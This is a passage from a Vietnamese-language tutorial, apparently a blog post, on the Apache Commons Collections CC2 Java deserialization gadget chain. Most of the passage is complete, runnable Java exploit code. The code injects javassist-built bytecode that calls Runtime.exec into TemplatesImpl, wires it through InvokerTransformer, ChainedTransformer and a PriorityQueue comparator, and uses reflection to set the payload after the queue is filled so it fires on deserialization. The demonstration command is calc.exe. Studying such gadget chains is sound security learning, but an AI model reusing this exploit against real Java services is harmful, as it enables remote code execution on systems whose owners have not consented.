tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
ChainedTransformer chainedTransformer = new ChainedTransformer<>(
new ConstantTransformer<>(templates),
invokerTransformer
);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
//transformingComparator.compare(null, null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize("ser.bin");

}
}

Để giải quyết vấn đề này, chúng ta sẽ set giá trị vào sau khi Queue đã add xong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class test {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer<>(templates),
invokerTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class class=ChainedTransformer.class;
Field iTransformersField = class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer,transformers);
serialize(priorityQueue);
unserialize("ser.bin");
}
}

Máy tính đã được bật lên.

Lời kết

Mình đã hoàn thành cc2 theo hai hướng là ChainedTransformer và hướng set giá trị cho queue. Nếu thuần cc2 thì sẽ theo hướng queue, kiến thước khác với cc1 nên các bạn có thể sẽ thấy ngợp lúc đầu, mình cũng đã giải thích kĩ ở phần đó, hi vọng sẽ giúp các bạn học nhanh hơn và không cảm thấy khó khăn.
Lúc đầu phân tích mình cũng thấy khó hiểu và betak, nhưng sau mình cố gắng ngồi lại để phân tích thì dần dần cũng thấy ổn hơn, mong các bạn không như mình :).

Chúc các bạn học tốt~